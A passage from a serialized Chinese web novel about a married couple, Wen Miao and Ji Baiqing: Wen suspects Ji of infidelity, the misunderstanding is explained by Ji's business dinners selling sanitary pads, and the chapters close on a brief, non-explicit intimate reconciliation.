一股酒气,还沾上了张芙蓉身上的花露水的气味。 她虽然醉了,但还有一点意识。 知道不能熏着温淼,也不能打扰温淼睡觉。 这段时间她都是早出晚归的,还总喝酒,在客房里睡的时间更多。 想着,她换了个方向,将台灯关了,摸黑往客卧走。 一个没注意,颈侧上了柜子,她慢半拍地捂着脖子,换了个方向,回到客卧之后再也坚持不住了,躺在床上,勉强脱了鞋,随后没有了意识,昏睡过去。 不知道过了多久,客卧的房间再度被打开。 温淼穿着睡裙站在门口,对着床上醉醺醺的人看了一会儿,气她喝了这么多酒又有些心疼。 除此之外,心里还有些隐约的委屈,这些天她很忙,忙到几乎每天十点都回不来,几乎每天都要喝酒,回来之后还往客卧走,两人分床睡快半个月了。 但到底还是心疼占了上风,她去打了盆温水,打湿毛巾,走近了她身边的时候才发现浓厚的酒气里还混合着一抹清香。 她皱着眉仔细分辨了一番,是花露水。 季白青不太爱用花露水,出门的时候也没抹。 所以是从哪蹭来了一身味? 温淼抿着唇,站在原地几秒后,将人的衬衫扣子解开几颗,帮她擦脸。 毛巾落在颈侧的时候,看着上面的红痕,她再度一怔。 喃喃道:“……怎么弄的?” 有些像是咬吮出来的痕迹,季白青的身上还带着不属于她的味道。 温淼知道季白青不是那样的人,只能够强迫自己不要乱想。 继续帮她擦身。 手将她最后一颗扣子解开后,她想要替季白青身后的内衣搭扣解开,另一只手不经意触碰到了她的柔软,下一刻却被人推开。 季白青感受到有人在摸自己的胸,她又没和温淼一个房间,下意识地觉得不可能是她。 几乎是下意识开口,她厌恶道:“滚开,别碰我!” 说着,她侧过身,将衣服拢起,背对温淼。 青年推得不重,温淼往后踉跄几步就站稳了身体。 她看着季白青的背影,眼里蕴起了一帘水雾,几乎要掉下来。 此刻再也控制不住脑中的想法。 季白青和她分房睡。 季白青身上带着别人的气味。 季白青脖子上有莫名的痕迹。 季白青还要推开她,让她滚。 温淼扯着唇,想要告诉自己这都是误会。 对方喝醉了才会这么做的,肯定不是故意的。 但几分钟过后,她还是难以笑出来。 无论是有意还是无意,温淼都接受不了季白青这样对她。 她忽然想起两个月前,在学校办公室里。 上选修课的社会学老师问她:“温老师,你和你妻子在一起多久了?” 温淼平常不太会被问到这些问题,但那天季白青刚好来看了她,还给她带了鲜花和吃的。 社会学老师目睹了一切,自然也能看出来在青年离开之后温淼的心情好了不少。 温淼想了想回答:“算上谈恋爱谈了两年,结婚有五年了。” 闻言,社会学老师有些惊讶:“那都七年了啊。” 她有些羡慕:“你们妻妻俩感情可真好。” “我们社会学研究过一个概念,叫七年之痒,情侣之间的感情维持了七年的时间,双方的熟悉感多多少少可能导致浪漫和激情的消退,从而进入一个危险期,如果挺不过去,很有可能就离婚或者分手了。” 想着她先前听到的话,温淼将那个词再度重复一遍。 “七年之痒。” “你已经不喜欢我了吗?” 一切似乎都是有迹可循,频繁地分房睡、每天早出晚归、一身酒气、相处的时间越来越少。 原来是季白青已经腻了她的征兆吗? 【作者有话说】 没错,这*个笨猫就是如此容易多想 感谢投雷营养液,感谢评论订阅收藏[三花猫头] 132 第132章 ◎死缠烂打◎ 睡梦中的人对温淼心里的想法浑然不知,在醉意中,总觉得嘴里尽是酒气,忽然间冒出了一声梦呓。 “芙蓉姐……别、别喝了……” 温淼鲜少从她口中听到自己从来都没有印象的名字,所以她现在念着的名字是今天同她一起出去吃饭的对象吗? 醉酒之后,念着的是别人的名字。 温淼抿唇看着季白青,想要将她叫醒,将内心浮现的问题一一问清楚。 可刚跪在床边,手指虚虚落在她的肩膀上,最后还是收回了手。 她怕又听到刚才那样的训斥。 温淼承受不住的。 她回了主卧,整个人蜷缩在椅子上,抱着膝盖呆呆地看着窗外,不知道在想什么- 前一晚喝得太多,季白青起床的时候觉得胸口发胀,低头一看,才发现身上穿着的衣服不知道什么时候被解开了扣子,露出里面白色的内衣。 穿着内衣睡了一夜,也难怪胸口发闷。 她一时间心里有些犯嘀咕,是谁趁她睡着把她衣服给脱了?应该不能是温淼吧,如果是温淼的话该把她的内衣也一起脱了才对。 想了想,她还是认为是自己觉得闷,睡着时无意识地将衣服扣子解开的可能性更大。 昨天喝的太多,也没有喝醒酒汤,她现在头还晕的不像话,撑起身体来的时候,没忍住用手捂着嘴,有些想吐。 好在,昨天喝一顿,如果事情进展得顺利的话,以后酒局应该会少一些,再幸运点以后可以不用再喝了。 酒局上商量公事真是陋习,等着她以后企业做大做强之后第一时间把这潜规则给废除。 嗅着身上过了一夜被发酵开的酒气,季白青的脸上顿时多了几分嫌弃。 这也太难闻了。 站起来的时候还有些头晕,她扶着桌子才勉强站稳,换了一会儿从柜子里抽了身换洗的衣服出来,带出了房间。 看了眼时间,现在已经早上九点多了,没在客厅见到温淼的身影,季白青想着她可能是在书房看书,便拿着衣服去洗澡。 在里面待了差不多半小时,耐心将一身的酒气都处理干净之后,季白青闻着自己身体上的香皂和洗发膏的味道,这才满意地点头。 厨房里还温着早饭,季白青吃了之后给自己泡了杯蜂蜜水,喝完后又回到房间照了照镜子,确定喝酒之后没有变丑才去书房找温淼。 打开书房门,却没在里面看到人,季白青觉得有些奇怪。 难道是在卧室里? 她回到卧室,还是没见到人。 也不知道到底是去哪了。 原本想着这段时间一直没有抽时间来陪温淼,今天就暂时不出门陪陪温淼,结果对方倒是出门了。 季白青有些无奈,按了按太阳穴。 温淼不在,她在家也闲不住,缓解了头痛的症状后,她换了衣服出门准备去实验室看看。 中午从实验室回来的时候,总算是看到温淼了。 她背对着季白青坐在客厅的沙发上,身前的桌上摆着几瓶不同牌子的花露水,此外,手上还拿着一瓶,女人低头一动不动,看着像是发呆。 季白青眼睛一弯,悄然走到她身边落座,凑过脸去在她脸颊上亲了一口。 见人抬起头,她正想着要和人接吻,温淼就抵着她的肩头将她推开。 青年一愣,笑着问:“这是怎么了?接吻都不喜欢了吗?” 不是一向最喜欢同她接吻了吗? 温淼抿着唇,一时间不知道说什么话,被对方盯着,最后才勉强挤出一个解释:“没有,只是待会儿快吃饭了。” 季白青还以为她是担心待会儿被陈晴看到,只好点头,扭头看着桌上的几瓶花露水,面色有些奇怪。 “怎么突然买这么多花露水回来?被蚊子咬了?” 往女人雪白的手臂上看一眼,她并没有看到什么扎眼的痕迹,也不像是被咬了啊。 温淼摇了摇头,看了眼她幽幽道:“我只是觉得你会喜欢。” 季白青皱起眉有些不解:“……为什么?” 温淼将手上那瓶花露水倒了点出来,抹在手腕内侧,将手腕凑到她的鼻尖,问道:“好闻吗?” 其实在季白青看来,花露水都是一个味儿,她也闻不出什么。 但看着温淼细窄的手腕,她还是很给面子地点了点头。 “挺好闻的。” 话刚说完,她就听见温淼的冷笑声。 “呵。” “你喜欢就好。” 听着这话,季白青虽然不知道她说这话的原因,但还是有些着急,下意识解释。 “什么叫我喜欢就好?我这不是看你喜欢我才说好闻吗?” 被她这么一说,自己好像是说了什么十恶不赦的话一样。 温淼垂下眸不再看她,把和昨天晚上嗅到的味道最相似的那瓶花露水放回桌上。 这样的味道季白青说好闻,说明她下意识是喜欢这样的味道的。 温淼还记得以前她会经常夸自己身上的香气好闻,可现在却改口夸其它的味道。 果然那位社会学的老师说得没错,相处太久脱离了激情之后,无论是对方的什么都会觉得平淡。 只是温淼自觉对季白青了解的也够清楚了,怎么她没有感觉到腻味,还越爱越浓呢? 可季白青却好像对她腻味了。 她的心一痛,手掌握成拳,压下鼻腔那点酸涩,淡声道:“我没什么其它意思,你不用多想。” 话虽然是这么说,但是女人现在这一副模样怎么可能让季白青不多想? 凭她对温淼的了解,敏感小猫大概又开始多想了。 她往温淼的身边挪了挪,刚想要抱着人好好哄哄,问问到底是怎么回事,客厅的门突然被推开,陈晴走了进来。 将菜放在桌上,她道:“白青、淼淼,可以洗手吃饭了。” 温淼猛地站起身,不想要再听季白青说话,去洗手。 吃饭的时候,虽然不知道自己到底为什么让她生气了,但怕自己开口后影响到温淼的心情,让她饭量减少,季白青只能一边吃饭,一边小心地觑着温淼的脸色。 一边看,她一边在心里犯嘀咕。 这到底是怎么了?谁惹她家大小姐生气了? 不过即使她没有开口说话,温淼吃的东西也不多,看起来似乎没胃口。 她在一边只能看得干着急。 跟着人回到房间,看她站在窗前发呆,季白青从身后抱住她,将下巴抵在女人的肩膀上,有些疑惑地询问: “蓁蓁,到底怎么了?” “心情不太好吗?是不是生理期快到了?” 算着日子,也快了,生理期的几天时间里,温淼的脾气难免会有些变化。 她侧过脸去,在人的脸颊上啄吻一口,温柔哄着人:“今天刚好空下来,我给你做蛋糕吃好不好?” 蛋糕的做法繁琐,她不经常做,但温淼还都挺喜欢吃的。 吃甜食心情可以变好。 温淼低头看着腰间环住的一双手,最后还是摇了摇头。 “不要。” 她将人的手拿开,坐了下来,让季白青坐在对面。 被女人认真地看着,季白青坐得端正。 温淼看着她,启唇问道:“你最近都在忙些什么?” 想到工厂仓库里挤压的那几百盒卫生巾,季白青觉得有些心虚,含糊道:“还是厂里和实验室里的事。” 在温淼面前她还是有点包袱,不想让她知道现在自己的处境这么窘迫。 怕她不信,季白青再度补充道:“你知道的,最近才开始步入正轨,肯定要去盯紧一点。” 温淼歪着头,奇怪道:“需要忙到十一二点才回来吗?” 季白青咳了一声,越发底气不足。 她道:“偶尔和实验室的同事一起去吃个饭什么的。” 温淼应了一声,只是道:“嗯,知道了。” 她顿了顿,随后再度开口:“少喝点酒,对身体不好。” 季白青听了她的话,眉眼温软下来,果然还是她老婆关心她。 她嘿嘿一笑,“放心,之后就尽量不喝了。” 喝酒是真的不大好,她昨天晚上喝的,一直到现在都还觉得有些晕。 她软绵绵地对温淼撒娇:“老婆,头有点痛。” 温淼站起身,明明想要放任她不管,可是心里却还是控制不住地要去心疼她。 最后还是站在了她的身后,帮她按着头。 季白青舒服得哼哼了两声,“老婆你真好。” 让人按了几分钟,季白青就拢住了她的手,怕她手腕会酸,没让她继续。 她看着温淼,“陪我睡一会儿?” 这时候才发现温淼眼下带着的淡淡青黑,她的手指落在她的眼下轻点,奇怪道:“昨天没睡好吗?” 温淼扯出来一抹笑,没让她看出自己的异常,找了个借口:“昨晚做噩梦了。” 这话也确实不算是说谎。 对她来说,确实是个不折不扣的噩梦。 “那下午再睡一会儿。” 她拉着温淼走到床边,找出两人的睡衣,正准备换上,就见温淼将门拉开,自然对她道:“你去侧卧睡吧。” “嗯?”季白青的动作一顿,“为什么?” 温淼脸上带着一丝浅笑,她道:“你这几天不是一直和我分房睡?” 话说出来,即使面上带笑,也带了冷然的意味在。 难怪说今天看起来格外不高兴,原来是因为这个。 季白青的内心多了几分愧疚,最近确实是因为在想着各种宣传办法,还联系各大百货商店毛遂自荐,所以陪着温淼的时间确实难以避免地要少了一些,甚至都没什么时间陪她。 最主要她每天忙到那么晚才回家,偶尔不喝酒季白青也不忍心回房间打扰熟睡的温淼,便只能去侧卧凑合。 她知道温淼眠浅,几乎是听到了一点动静就会清醒,两个人一起睡的时候症状才会减轻一些。 这样一想,好像确实是季白青自己欠缺考虑了。 工作重要,但也应该多陪陪老婆才对。 她只能等着这一段时间忙完,之后把时间安排得再合理一些,就能空下来了。 看着冷着脸的大美人,季白青走到她面前,小声道:“这是我的不对,不生气了宝宝。” “再过一段时间就好了。”她哄着人,一把将人抱起来,顺势将门合上,随后将人放在了床边,动作熟练地帮她换好了睡裙。 趁着对方还有些没有反应过来,季白青速度飞快地换上睡裙,将人往床上带,把她圈进自己的怀里,手脚将人抱紧。 抱着温软的身体,季白青满足地眯起眸子,在她身上蹭了蹭,软声道:“不生气了好不好?我们一起睡一会儿。” 看着埋在她胸口的人,温淼还是难以硬下心肠,也没说什么话,轻轻阖上了眼皮。 因为昨晚的事,回到房间后,温淼没有再睡着,此刻身心都分外疲惫。 熟悉的人和熟悉的气味还是带给她很大的安全感,不过是瞬息时间,女人的呼吸声便变得绵长起来。 季白青见人睡着之后,心里微微安定了一些,往人的胸口蹭了蹭之后,也开始酝酿睡意。 不过她没睡多,心里算着时间,不过睡了半个多小时,她就醒了过来,将抱着女人的手脚放开,给温淼怀里塞了个枕头,见她没有被吵醒,这才放心出了房间。 说了今天给温淼做蛋糕吃,她就没有打算食言。 去了京市的面包房将需要的材料买齐之后,季白青回到家里,看着刚买的新鲜荔枝,打算做个荔枝口味的蛋糕。 将蛋液打发,面糊准备好,荔枝剥壳洗净,一半榨汁,一半切碎,剩下几个完整的留着待会儿备用。 在面糊中加入荔枝果肉,加白糖时用荔枝汁化开,放进磨具中开始蒸。 蛋糕胚做好后,往外抹上一层奶油,最上面点缀上荔枝,就算是做好了。 做的蛋糕并不大,温淼一个人就能吃完。 她把蛋糕放在盘子里,又放进了冰箱,原本是想着等着温淼醒来之后哄着人开心的,可蛋糕刚做好,家里的座机电话响起,是张芙蓉让她过去一趟,需要她到王府井百货商店面谈。 知道肯定是和采购卫生巾有关,季白青也知道这件事不能耽误,不然生意随时可能黄了,她匆匆写了个纸条夹在门缝里之后,便带着东西出去了。 太阳西斜,在下午四五点钟的时候,温淼才醒过来。 此时身边原本睡着的人早就不在了,温淼一怔,心里还是难以避免地涌上几分失落。 明明睡着的时候还在身边,现在又消失了。 她在心里叹了一口气,起床换上衣服,开了门刚要出去,就看到了飘落在地上的纸条。 蹲下身将纸条捡起来,看着上面清隽的字迹,温淼抿着唇。 眉眼间还是难以控制地浮现出一丝笑意。 她将纸条收好,夹在笔记本中后,拿出冰箱里的蛋糕,一勺一勺认真地吃完了。 甜而不腻,带着荔枝的香气和清甜。 温淼知道她做一次蛋糕要花费不少时间,她愿意给自己做,是不是代表着,她还是在意自己的? 昨晚,或许只是误会。 温淼想,她确实应该问清楚季白青才对,在心里胡思乱想好像不太好。 上午心烦意乱并不想要见到季白青,所以她才选择去市图书馆,但那时候却什么都看不进去,在吃过甜食之后,心情好了些,看着书上的文字也更为顺眼。 她开始继续完成下学期需要用到的教案,忙完的时候天色已经昏沉,陈晴做好了饭菜,已经叫过一次她吃饭了。 温淼揉了揉有些酸痛的脖子,出了房间,没见着想要见的人,只见到将碗筷摆上桌子的陈晴。 她一愣,问陈晴道:“陈姐,阿青还没有回来吗?” 陈晴挠了挠头,“没有看到。” 温淼闻言,心微微一沉。 纸条上不是说了她晚上会回来陪她吃饭吗?可现在都七点半了。 她抿着唇,对陈晴道:“陈姐,你先去吃饭吧,我等着阿青回来一起吃。” 大概是工厂里或者是实验室的工作耽搁了,温淼能理解。 坐下后,温淼将电视打开。 嘈杂的电视音让原本安安静静的客厅变得热闹几分,墙上挂着的时钟滴答响着,时间一分一秒地过去,不知道过了多久,原本往上冒着热气的饭菜都已经慢慢变冷。 看着因为等待色泽变深的菜,温淼的手指微动,再抬头看一眼时间,此时已经八点多了。 她没有再等,拿起筷子安静地开始吃饭。 其实夏天里吃冷菜更合适,现在饭菜的温度并没有问题,只是不知道是饭菜在闷热的天气里放太久变了质还是被陡然低落的心情影响,温淼往嘴里塞着饭菜,吃到了后面只觉得有些想吐。 吃到一半,屋子里的电话突然响起。 听到了声音,温淼的动作顿住,在原地愣了半分钟,最后才如梦初醒般反应过来。 她拿起电话放到耳边,没有说话。 对面的女人也没有觉得奇怪,只是有些歉意道:“淼淼,对不起,今天来不及和你一起吃饭了,现在有点急事需要我去处理。” 温淼没说话,对面还以为她没听到,将刚才的话再度重复了一遍,问:“淼淼,听到了吗?” 温淼轻应了一声,随后没有给她再说话的机会,将电话挂断。 有急事。 有时候温淼也不知道自己到底应不应该相信她,急事就是在外面吃饭喝酒吗? 如果不是的话,那为什么每天的急事都能够被安排在晚上。 她的呼吸频率变得急促了一些,站在电话机前像个木人似的一动不动。 陈晴在八点半的时候过来收碗筷,一进到屋里,屋内一片漆黑,显然是刚才她离开的时候什么样现在就这样。 原本以为是温淼拉上了灯,等着她将灯拉开,看着在电话机前僵直站着的温淼,险些被吓一跳。 陈晴走到她身边,看着人的脸色小心翼翼开口道:“淼淼,你这是怎么了?” 温淼摇了摇头,露出自然的笑。 “没事陈姐,刚才只是在想问题。” 陈晴觑着她的脸色,点头。 “白青还没有回来吗?” 刚问完,她立马就后悔了。 如果季白青在家的话,温淼也不至于像是现在这样看起来魂不守舍的。 温淼摇了摇头,细声解释:“她今晚有急事,应该晚点才会回来了。” 陈晴讷讷点头,不敢再多说什么,将菜放进冰箱之后收拾了碗筷就悄声退出去。 温淼也没再客厅多待,回了房间之后将季白青给自己留的纸条和信件都打开看过一遍之后心情平静了几分。 她想,一切都只是她在乱想,现在正是季白青开始创业的时候,无论是过忙还是有饭局都是正常的。 温淼不能帮到她太多,现在要做的便是相信她才对。 将这个想法在脑中过了一遍,温淼的心微微安稳一些,像是往常一般洗澡、看书。 到了十点,季白青还没有回来。 温淼这次没有回房间睡觉,开着灯坐在客厅里等着季白青回来。 接近十二点,门终于被推开。 季白青看着灯火通明的室内,一时间还有些恍惚。 见到了温淼之后,她还以为是自己眼花,眨了眨眼,面前的人却还没有消失。 她今天是被张芙蓉临时叫出去说采购合同的事,在过去之前,她怀里揣了一盒卫生巾。 等到了王府井百货大楼的时候才发现,和张芙蓉在一起的还有另外一个穿着西装的陌生女人。 在她还有些疑惑这人是谁的时候,张芙蓉给她介绍: “白青啊,这是我们老板,她看了你的介绍书还挺有兴趣的,所以想要和你面谈,我这才把你叫过来。” 闻言,季白青看到了希望,连忙和她握手。 “同志你好,我是季白青,你叫我小季就行。” 老板点了点头:“你管我叫莫姐就行,临时起意把你叫过来,真是抱歉。” 季白青摇头:“没有的事。” “莫姐,我给你简单介绍一下我们厂生产的卫生巾。” 围绕着卫生巾的研发、生产和作用,季白青条理清晰地一一介绍,在听完之后,莫姐点了点头。 两人又分别讨论了几个问题,在最后,莫姐道: “其实开始我没有打算通过你们卫生巾的采购的,毕竟我也觉得这和月经带比起来有些多余,不过小季你说得很好,成功让我改变了我原本的想法,我现在觉得,如果采购你们的卫生巾的话,潜在的市场还是很大的,而且就像是你所说的,卫生巾的推广也还能推动对女性卫生安全的保障。” “现在签合同吧。” 说着,她将合同拿出来给季白青,季白青认真看了眼,没有看出问题,这才签下了自己的名字。 采购协议正事生效,在此之后王府井百货大楼每个月在保洁卫生巾厂采购两千盒卫生巾。 季白青莫姐在合同上盖章之后,紧绷的心总算是得以松懈。 再一看窗外,天色已经黒沉了。 她在此时忽然想起来出门前写好的会陪温淼一起吃晚饭,心里咯噔一下,看了眼手表,才发现已经八点多了。 时间在不知不觉中过得那么快。 她内心有些着急,面上却还是只能够维持冷静。 正想着待会儿找个什么样的理由告辞,莫姐自然提议道:“听说你昨天和芙蓉去吃的饭馆味道不错,今晚我们再去一次怎么样?” 面前的人可是目前的唯一大老板,季白青在内心苦笑。 最后还是没有说出拒绝的话,只是试探性地开口道:“莫姐,我能用办公室的电话打个电话回家吗?” 莫姐闻言笑了一声:“你这么大了,家里还有门禁吗?你打。” 季白青一笑:“不是,是怕我太晚不回去我妻子担心。” 说着,她拨通了家里的电话。 将一番话说完之后自然能够感受到温淼的低落。 但此时明显不能哄。 只能等到今天回去。 挂了电话之后,莫姐调侃道:“见过了妻夫,没想到你们妻妻的感情也能这么好。” 季白青心里有些得意,那肯定啊! 不过她嘴上还是十分谦虚:“还好,毕竟在一起那么久了。” 三个人到了雅韵的时候,季白青少不了又喝酒。 几个女人说着话,吃完饭的时候也到了差不多十二点。 此时看着坐在屋里的温淼,季白青愣了愣,关上门走到温淼面前。 她问:“怎么还没睡呢?” 见温淼冷着一张脸,她小声道歉:“对不起,之后不会让你等这么久了好不好?” 她知道温淼还在气自己没和她一起吃饭的事,一方面担心自己身上的酒气熏到她,一方面又想凑过去抱住人慢慢哄。 吃饭的时候就一直在想着家里这位娇娇。 她站在不远不近的地方,有些迟疑道:“我身上的气味你会反感吗?” 温淼毫不犹豫地回答:“很讨厌。” 酒味中还掺着一丝阴魂不散的花露水味道。 和昨天晚上的一模一样,在季白青一进到屋子里的时候温淼就闻到了。 季白青没想到她这么反感,揉了揉眉心低声道:“那我先去洗洗,你回屋里,我待会儿也过去。” 说完,她拿了衣服往澡房走。 怕温淼等得太久了,她加快速度,十分钟内擦着发尾出来。 到了客厅的时候,温淼还一动不动地坐在那。 季白青在她身边刚坐下,温淼就往另一边挪了挪。 她道:“你坐到对面去,不想闻到你身上的味道。” 季白青一愣,望向温淼的目光有些受伤。 但还是乖乖地坐在了对面。 她温声解释:“今天晚上是真的有意外,生意谈成了,所以和老板一起去吃了个饭。” 季白青的长发被拨到了另外一边,刚好露出脖子上昨天的红痕。 温淼的视线落在上面看了一会儿只觉得有些刺眼。 她的视线挪开,落在季白青的脸上。 季白青被看的有些莫名,继续小声哄人:“我真的不是故意的,原谅我好不好?” 女人低着头,眸中雾气氤氲。 她现在已经不知道要不要相信季白青的话了。 嘴上还愿意哄着她,那为什么最近要对她这么过分? 季白青见她不想说话的模样,知道她又在钻牛角尖了。 在心里轻声叹了一口气,她还是没有再管温淼刚才的评价,坐在她身边,将女人往自己的肩上揽。 “好了,要我怎么道歉才能高兴?接下来一个礼拜的事件都在家里陪你好不好?” “今天做的蛋糕好吃吗,喜欢的话明天再给你做好不好?” 听着她温柔耐心的哄声,温淼抬起朦胧泪眼,看向她。 嘴唇发着抖,最后她按下喉间哽咽,勉强用还算正常的声音问: “你是不是已经腻了我了?” “如果是这样的话,你可以直接告诉我,我不会死缠烂打的。” 【作者有话说】 怎么可能腻啊喵,小季都快冤枉死了 感谢投雷营养液,感谢评论订阅收藏 咳咳,我宣布个事,摇摇乐装扮我全抽到了!快看看可爱不!!! 133 第133章 ◎证明◎ 听了她的话后,季白青一向灵光的脑子一时间都没能立刻反应过来。 她的大脑一片空白,停顿了一分钟,眯着眼有些怀疑地看向温淼。 她问:“所以今天一天不高兴的最大原因是因为觉得我腻了你了?” 温淼抿着唇不说话。 不说话就是默认,她的意思很好明白。 季白青这回酒意散了个透,瞬间清醒过来了。 她看着温淼,一时间都不知道该开口说些什么好。 真是够能藏的,起了这样的怀疑心思还能憋上一天。 不过她也有问题,毕竟大半天都没在家。 季白青微微叹了口气。 “所以是怎么觉得我腻了你的?说说看?”她按了按胸口,一时间觉得有些胸闷气短。 温淼看了她一眼,最先问:“芙蓉姐是谁?” “我从来没听你和我说过。” 闻言,季白青有些疑惑:“你应该也认识,经常见到的。” 温淼微微张唇,“……啊?” 她怎么不记得这个名字。 女人抿着唇,脑海中没有一丝印象。 她低头,一字一句开口:“谁知道这到底是你哪个好姐姐。” 季白青:“……说什么呢?你不也叫一声姐?” 她回答:“还记得我们之前一起去王府井百货大楼的时候撞见的那个采购经理吗?她叫张芙蓉。” 闻言,温淼有些愣怔。 对那个采购主任,她确实有些印象,人很爽朗,热情友善,她也知道她是有家室的。 她不知道对方名字,但是见到人的时候会主动叫姐。 一时间,她咬着唇,脸颊红了个透。 她讷讷询问:“那你身上的花露水味是哪来的?” 即使心里已经隐隐有了猜测,她也还是没有忍住想要将问题问出口的欲望。 季白青低头闻着自己身上的味道,只觉得什么都没有闻到。 “哪有什么味道?” 忍着臊意,温淼提醒:“你都洗澡洗干净了,昨天晚上和刚才回来的时候你的身上就带着花露水的味道,和我今天中午给你闻的那瓶一样。” 季白青这时候才懂了她中午买了那么多瓶花露水摆在桌上的用意何在。 原来是小猫在嗅昨天的气味。 她眉宇间带上了几分无奈,温声细语解释:“那是和张主任吃饭的时候染上的。” 实在是没有想到温淼一下能够联想出那么多误会,如果她要是不说的话,那温淼是不是就得默默疏远她了? 想到这个可能,季白青还觉得有些委屈。 原本不将事实告诉温淼,只是不想她知道自己现在面对的卫生巾的销售困境,先前进度还停留在方案上的时候,季白青就同她畅想过卫生巾生产之后的销路如何顺畅。 而现在的情况和先前说的话所呈现的截然不同,真的告诉温淼的话,像是在打自己的脸,季白青就没好意思同她说,这才瞒着。 可没想到过女人会一下联想出这么多误会。 仔细想了想,她还是觉得自己也有很大一部分的原因。 好像她没什么资格委屈,更委屈的是温淼才对。 无论如何,应该和温淼说清楚,这也能免去让她多想。 思及此处,季白青抬头看着温淼,柔声道:“这段时间没能陪你是因为厂里的卫生巾生产出来之后没有销路,我就在想跟着宣传方法,每天晚上回来晚要么是和陆霁商量应对方法,要么实在实验室,剩下的时间是请京市的百货大楼的采购员吃饭,难免要喝一点酒的。” 温淼专注地看着她,细声询问:“分房睡也是因为这个吗?” 季白青点头:“不想熏着你,也不想太晚回去房间的时候发出声音把你吵醒,所以我才去次卧睡。” 她说的话将温淼这一天一夜的胡思乱想全都推翻,温淼察觉,自己好像真的想多了。 “可我不会嫌弃你,你喝酒难受的时候,我也想照顾你,你不顾忌我的想法吗?” 她怕弯弯绕绕季白青听不清楚其中含义,直白道:“我心疼你,想要照顾你,这是我的诉求。” “你应该正视我的诉求才对。” 季白青懊恼地咬唇,想了好一会儿,最后还是只能回一声对不起。 温淼点头,坦然道:“我接受了,但是你也要改正。” “你不能总是这么自以为是,只站在你的角度看问题,也需要想我到底应该怎么想的才对。” “可以改正吗?” 季白青有些犹豫的开口:“没法做到立马改,但是会慢慢改。” 温淼得到这个回复之后已经满意很多。 看着青年秀致的脸,她的视线往下落,之间轻点着她脖子上转为青紫色的痕迹。 再度发问:“这里是怎么弄的?” 指腹柔软,落在那一处於痕上还能生出些隐痛。 季白青一时间庆幸自己喝酒不会断片,回想一番后解释:“这是晚上回屋我没开灯,不小心撞到了柜角,你又想成什么了?” 温淼听她这么说,在她的眼神注视下默默将头埋到了对方的小腹上,颇有些想要做鸵鸟的意思。 这回换了个人说道歉的话。 她闷声闷气开口:“对不起……是我想的太多了,我误会了……” 季白青的手落在她的发丝上,替她将乱了的发丝梳理好,一时间也在自我反省:“更大的原因是我没有将实情告诉你,主要是觉得有些丢人,怕你笑话我,这才让你联想到那么多。” 闻言,温淼短暂地抬起头,用那双水光涟涟的眸子瞪了她一眼,语气是持宠而娇的凶:“我从来都没有笑话过你,你又污蔑我。” 说完,她再度将头埋回去,不敢再和季白青对视。 季白青含笑解释:“也不是怕你笑话,我就是觉得……很丢人,会让你觉得我不厉害。” 在喜欢的人面前,无论熟悉到什么地步都会想要维持一点包袱吧。 温淼头顶抵着她的小腹,轻轻摇了摇头,没有说话。 想到她眼下的青黑,大概昨晚因为这些误会一夜没睡。 她声音里多了几分心疼:“是不是委屈坏了?下次有什么问题直接和我说好吗?以后我也不藏着掖着了,去哪都告诉你。” “对你怎么可能腻啊?整天都在想些什么……”她轻叹一声。 “最喜欢蓁蓁了,也最爱蓁蓁,怎么都不会腻的。” 她捏着温淼绯色的耳垂,问:“知道了没?” 听她温温柔柔地说着话,温淼伸出手将她的腰搂紧,后知后觉地心里生出来无限的委屈。 泪珠不一会儿就冒了出来,将季白青腰间的布料打湿一片。 她委屈地开口:“昨天我想要给你脱内衣,让你睡得舒服一点,可你一开口就让我滚。” 那么凶的语气,还是温淼第一次听。 听了她的话,季白青一怔,相关的记忆满了半拍浮现。 可她并不知道那是温淼,还以为是做了梦。 她“嘶”了一声,立马道歉:“对不起,我当时想着你应该在屋里睡觉,还以为是别人碰我,才说那种话的。” “当时*喝醉了,意识不清楚,原谅我好不好?” 温淼很好哄,听了来龙去脉之后,吸了吸鼻子,爽快地点了头,只是有些可爱地再度开口要求: “以后不许对我这么凶。” “嗯,不对你凶。” 她继续道:“不许再分房睡,我想和你睡一起。” 季白青在她凶巴巴的眼神下点头。 小祖宗高兴最重要。 见她住了嘴,季白青十分主动地提问:“还有什么问题要问吗?” 温淼撑着沙发坐直身体,看着季白青,认真询问:“想要问你,现在还爱我吗?是不是还没有腻了我?” “还爱你,永远不会腻。” 她屈指弹温淼的脑瓜崩:“宝宝,每天都在乱想什么。” 温淼看着她,脸颊微红,轻声道:“除了生活和工作,好像都在想你。” 季白青闻言,呼吸凝滞一瞬后,瞬间将人抱紧。 温淼现在说这话简直太过违规。 内心所蕴含的愧疚更甚,她思索道:“你会不会很生气?因为我又瞒了你。” 虽然原因有所差异,但最后所作所为好像区别不大,而且都让温淼难过了。 温淼闻言,拧着秀眉想了想,轻声回答道:“有点生气,但是更多的是希望以后无论是出于什么原因,除了特殊的事之外,我都想你不要再瞒着我了,无论如何,在我心里你都很厉害,阿青,我们是妻妻,以后要白头偕老的,应该坦诚才对。” 季白青点头:“好,我会坦诚。” 她顿了顿,看着温淼,有些紧张地问道:“还可以再相信我吗?” 温淼莞尔,轻轻点头。 将人抱了一会儿之后,季白青想到她刚才说的话,还是觉得有些莫名。 她将一只手落在温淼的腰后,另一只手落在女人的腿弯,一下将人打横抱起。 身体在放松的情况下突然失重,温淼内心一惊,手下意识搭在了季白青的脖子上将人搂紧,任由青年将自己回房间。 原本以为是时间太晚了,季白青想要她休息。 可在一片黑暗之中,季白青也没开灯,轻车熟路径直走向了床,将温淼放了上去。 感受到她指腹的温热,温淼心一颤,咬着唇才勉强止住了即将脱口而出的惊呼。 她声音也微微战栗,于浓稠夜色中,长睫颤动的频率像是蝴蝶振翅。 “你……干什么……” 季白青感受着润泽,附在温淼的耳边轻声道:“在身体力行。” “什、什么?!” 说话的时候,对方有了动作,温淼的手猛地抓紧了抵在腰上的枕头,最后一个字险些破音。 泪花冒了出来,缀在眼睫之上要掉不掉的。 季白青的话到底是什么意思已经被她抛在了脑后,温淼只能被迫承受身体的异状。 过热。 过润。 都太过了。 不知道过了多久,窗外树上附着的蝉开始鸣叫,一声又一声在地响彻于夜晚。 温淼却恍若无感,只因为脑中无端冒出来大片的轰鸣声。 一声高过一声。 身体早已经没有任何力气。 可这才第一回。 意识到季白青要开始继续动作的时候,温淼勉强生出了几分力气,将她的手腕抓住。 她茫然:“还没有结束吗?” 温淼什么都看不清,只能感受到对方的身体慢慢和自己贴近,两个人迥异的气味奇异地融合在一起,却并不显得突兀。 季白青声音一如白日清明的时候,泠泠如水。 她道:“你不是说我腻了你了吗?” “我身体力行证明给你看,我没有腻。” 